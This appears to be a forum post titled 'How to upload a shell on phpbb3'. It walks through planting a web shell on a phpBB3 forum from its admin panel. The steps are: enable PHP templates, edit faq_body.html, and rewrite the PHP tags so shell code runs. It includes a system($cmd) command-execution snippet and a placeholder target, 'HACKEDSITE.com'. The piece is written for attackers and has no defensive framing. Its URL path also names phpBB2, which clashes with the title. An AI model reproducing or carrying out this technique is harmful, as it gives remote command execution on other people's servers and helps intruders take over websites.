How to upload a shell on phpbb3

So, first of all you go in the Admin Panel.
After that you enable "Allow PHP Templates" in the Security Settings.
Then you go to Style -> Templates and edit the "faq_body.html".

You will probably find a lot of people saying to just write something like
<!-- PHP -->
system($cmd);
<!-- END PHP -->
In there and than work with this.

But for me that didnt worked out, could be a problem with the permissions or maybe they fixed it in newer versions, idk.

So what I did is, I just wrote my shell in there.
But you cant just copy and paste it since phpbb3 wont recognize
" <?php and ?> "

So what you do is you use a Editor or a Tool that allows you to search for text and then replace it. I personally use Notepad++

Then you search for "<?php" and replace it with "<!-- PHP -->"
and you search for "?>" and replace it with "<!-- END PHP -->"

Then you just copy and paste your code into the faq_body.html

And go to that URL: http://HACKEDSITE.com/forum/phpBB2/faq.php

And there should be your shell.